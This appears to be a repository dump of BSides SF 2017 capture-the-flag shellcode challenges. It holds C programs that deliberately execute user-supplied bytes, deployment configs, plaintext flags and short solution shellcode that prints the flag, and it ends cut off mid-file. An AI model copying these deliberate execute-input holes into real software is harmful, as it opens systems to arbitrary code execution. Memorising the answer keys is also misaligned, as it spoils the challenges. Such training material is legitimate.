-------------------------------------------------------------------------------- /readmem-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readmem-nz.o 3 | 4 | readmem-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readmem-nz readmem-nz.c 6 | 7 | clean: 8 | rm -fv *.o readmem-nz core core.* 9 | -------------------------------------------------------------------------------- /readmem-nz/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "12614b374349a431149019a3715346a0" 2 | -------------------------------------------------------------------------------- /readmem-nz/challenge/src/readmem-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | char flag[] = FLAG; 18 | int i; 19 | 20 | alarm(10); 21 | 22 | disable_buffering(stdout); 23 | disable_buffering(stderr); 24 | 25 | printf("Send me stuff!! Your goal: read the flag from memory @ %p\n", flag); 26 | printf("Restriction: no NUL (\\x00) bytes!\n"); 27 | len = read(0, buffer, LENGTH); 28 | 29 | if(len < 0) { 30 | printf("Error reading!\n"); 31 | exit(1); 32 | } 33 | 34 | for(i = 0; i < len; i++) { 35 | if(buffer[i] == '\0') { 36 | printf("No NUL bytes!!\n"); 37 | return 0; 38 | } 39 | } 40 | 41 | asm("call *%0\n" : :"r"(buffer)); 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /readmem-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readmem-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readmem-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readmem-nz 12 | spec: 13 | containers: 14 | - name: readmem-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readmem-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6117 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readmem-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readmem-nz-service 5 | labels: 6 | app: readmem-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6117 11 | targetPort: 6117 12 | selector: 13 | app: readmem-nz 14 | -------------------------------------------------------------------------------- /readmem-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readmem-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readmem-nz/distfiles/readmem-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readmem-nz.c -------------------------------------------------------------------------------- /readmem-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | xor eax, eax 4 | mov al, 4 5 | xor ebx, ebx 6 | inc ebx 7 | mov ecx, 0x41414141 8 | xor edx, edx 9 | mov dl, 32 10 | int 0x80 11 | 12 | xor eax, eax 13 | inc eax 14 | xor ebx, ebx 15 | int 0x80 16 | -------------------------------------------------------------------------------- /readmem/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readmem 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readmem/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readmem/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readmem.xinetd /etc/xinetd.d/readmem 17 | 18 | USER root 19 | EXPOSE 6116 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readmem/challenge/readmem.xinetd: -------------------------------------------------------------------------------- 1 | service readmem 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6116 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readmem 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /readmem/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readmem.o 3 | 4 | readmem: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readmem readmem.c 6 | 7 | clean: 8 | rm -fv *.o readmem core core.* 9 | -------------------------------------------------------------------------------- /readmem/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "1266fb486d358bc50b9323fb3d93555e" 2 | -------------------------------------------------------------------------------- /readmem/challenge/src/readmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | char flag[] = FLAG; 18 | 19 | alarm(10); 20 | 21 | disable_buffering(stdout); 22 | disable_buffering(stderr); 23 | 24 | printf("Send me stuff!! Your goal: read the flag from memory @ %p\n", flag); 25 | len = read(0, buffer, LENGTH); 26 | 27 | if(len < 0) { 28 | printf("Error reading!\n"); 29 | exit(1); 30 | } 31 | 32 | asm("call *%0\n" : :"r"(buffer)); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /readmem/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readmem/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readmem 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readmem 12 | spec: 13 | containers: 14 | - name: readmem 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readmem 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6116 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readmem/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readmem-service 5 | labels: 6 | app: readmem 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6116 11 | targetPort: 6116 12 | selector: 13 | app: readmem 14 | -------------------------------------------------------------------------------- /readmem/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readmem/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readmem/distfiles/readmem.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readmem.c -------------------------------------------------------------------------------- /readmem/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 4 4 | mov ebx, 1 5 | mov ecx, 0x41414141 6 | mov edx, 32 7 | int 0x80 8 | 9 | mov eax, 1 10 | mov ebx, 0 11 | int 0x80 12 | -------------------------------------------------------------------------------- /readstack-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readstack-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readstack-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readstack-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readstack-nz.xinetd /etc/xinetd.d/readstack-nz 17 | 18 | USER root 19 | EXPOSE 6121 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readstack-nz/challenge/readstack-nz.xinetd: -------------------------------------------------------------------------------- 1 | service readstack-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6121 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readstack-nz 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /readstack-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readstack-nz.o 3 | 4 | readstack-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readstack-nz readstack-nz.c 6 | 7 | clean: 8 | rm -fv *.o readstack-nz core core.* 9 | -------------------------------------------------------------------------------- /readstack-nz/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "7ea70ea6e8801cc7eb55b838d1802065" 2 | -------------------------------------------------------------------------------- /readstack-nz/challenge/src/readstack-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | char flag[] = FLAG; 18 | int i; 19 | 20 | alarm(10); 21 | 22 | disable_buffering(stdout); 23 | disable_buffering(stderr); 24 | 25 | printf("Send me stuff!! Your goal: read the flag off the stack\n"); 26 | len = read(0, buffer, LENGTH); 27 | 28 | if(len < 0) { 29 | printf("Error reading!\n"); 30 | exit(1); 31 | } 32 | 33 | for(i = 0; i < len; i++) { 34 | if(buffer[i] == '\0') { 35 | printf("No NUL bytes!!\n"); 36 | return 0; 37 | } 38 | } 39 | 40 | asm("jmp *%0\n" : :"r"(buffer)); 41 | 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /readstack-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readstack-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readstack-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readstack-nz 12 | spec: 13 | containers: 14 | - name: readstack-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readstack-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6121 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readstack-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readstack-nz-service 5 | labels: 6 | app: readstack-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6121 11 | targetPort: 6121 12 | selector: 13 | app: readstack-nz 14 | -------------------------------------------------------------------------------- /readstack-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readstack-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readstack-nz/distfiles/readstack-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readstack-nz.c -------------------------------------------------------------------------------- /readstack-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | xor eax, eax 4 | mov al, 4 5 | 6 | xor ebx, ebx 7 | inc ebx 8 | 9 | mov ecx, esp 10 | xor edx, edx 11 | mov dl, 0x2b 12 | add ecx, edx 13 | 14 | xor edx, edx 15 | mov dl, 32 16 | 17 | int 0x80 18 | 19 | xor eax, eax 20 | inc eax 21 | xor ebx, ebx 22 | int 0x80 23 | -------------------------------------------------------------------------------- /readstack/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readstack 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readstack/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readstack/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readstack.xinetd /etc/xinetd.d/readstack 17 | 18 | USER root 19 | EXPOSE 6120 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readstack/challenge/readstack.xinetd: -------------------------------------------------------------------------------- 1 | service readstack 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6120 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readstack 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /readstack/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readstack.o 3 | 4 | readstack: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readstack readstack.c 6 | 7 | clean: 8 | rm -fv *.o readstack core core.* 9 | -------------------------------------------------------------------------------- /readstack/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "f7d94cabcd6a1ca223b82a1e35bc9faf" 2 | -------------------------------------------------------------------------------- /readstack/challenge/src/readstack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | char flag[] = FLAG; 18 | 19 | alarm(10); 20 | 21 | disable_buffering(stdout); 22 | disable_buffering(stderr); 23 | 24 | printf("Send me stuff!! Your goal: read the flag off the stack\n"); 25 | len = read(0, buffer, LENGTH); 26 | 27 | if(len < 0) { 28 | printf("Error reading!\n"); 29 | exit(1); 30 | } 31 | 32 | asm("jmp *%0\n" : :"r"(buffer)); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /readstack/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readstack/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readstack 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readstack 12 | spec: 13 | containers: 14 | - name: readstack 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readstack 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6120 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readstack/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readstack-service 5 | labels: 6 | app: readstack 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6120 11 | targetPort: 6120 12 | selector: 13 | app: readstack 14 | -------------------------------------------------------------------------------- /readstack/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readstack/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readstack/distfiles/readstack.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readstack.c -------------------------------------------------------------------------------- /readstack/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 4 4 | mov ebx, 1 5 | mov ecx, esp 6 | add ecx, 0x1b 7 | mov edx, 32 8 | int 0x80 9 | 10 | mov eax, 1 11 | mov ebx, 0 12 | int 0x80 13 | -------------------------------------------------------------------------------- /seteax-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/seteax-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /seteax-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /seteax-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD seteax-nz.xinetd /etc/xinetd.d/seteax-nz 17 | 18 | USER root 19 | EXPOSE 6115 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /seteax-nz/challenge/seteax-nz.xinetd: -------------------------------------------------------------------------------- 1 | service seteax-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6115 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/seteax-nz 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /seteax-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=seteax-nz.o 3 | 4 | seteax-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o seteax-nz seteax-nz.c 6 | 7 | clean: 8 | rm -fv *.o seteax-nz core core.* 9 | -------------------------------------------------------------------------------- /seteax-nz/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "a0be35135882ab563f2c80110416617b" 2 | -------------------------------------------------------------------------------- /seteax-nz/challenge/src/seteax-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | register int eax asm ("eax"); 18 | int eax_bak; 19 | int i; 20 | 21 | alarm(10); 22 | 23 | disable_buffering(stdout); 24 | disable_buffering(stderr); 25 | 26 | printf("Send me stuff!! Your goal: cleanly return with eax set to 0x00010203!\n"); 27 | printf("Restriction: you aren't allowed to have any NUL (\\x00) bytes!\n"); 28 | len = read(0, buffer, LENGTH); 29 | 30 | if(len < 0) { 31 | printf("Error reading!\n"); 32 | exit(1); 33 | } 34 | for(i = 0; i < len; i++) { 35 | if(buffer[i] == '\0') { 36 | printf("No NUL bytes!!\n"); 37 | return 0; 38 | } 39 | } 40 | 41 | asm("call *%0\n" : :"r"(buffer)); 42 | eax_bak = eax; 43 | 44 | printf("After returning, eax => 0x%08x\n", eax_bak); 45 | if(eax_bak == 0x00010203) 46 | printf("Well done! The flag is: %s\n", FLAG); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /seteax-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /seteax-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: seteax-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: seteax-nz 12 | spec: 13 | containers: 14 | - name: seteax-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/seteax-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6115 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /seteax-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: seteax-nz-service 5 | labels: 6 | app: seteax-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6115 11 | targetPort: 6115 12 | selector: 13 | app: seteax-nz 14 | -------------------------------------------------------------------------------- /seteax-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /seteax-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /seteax-nz/distfiles/seteax-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/seteax-nz.c -------------------------------------------------------------------------------- /seteax-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 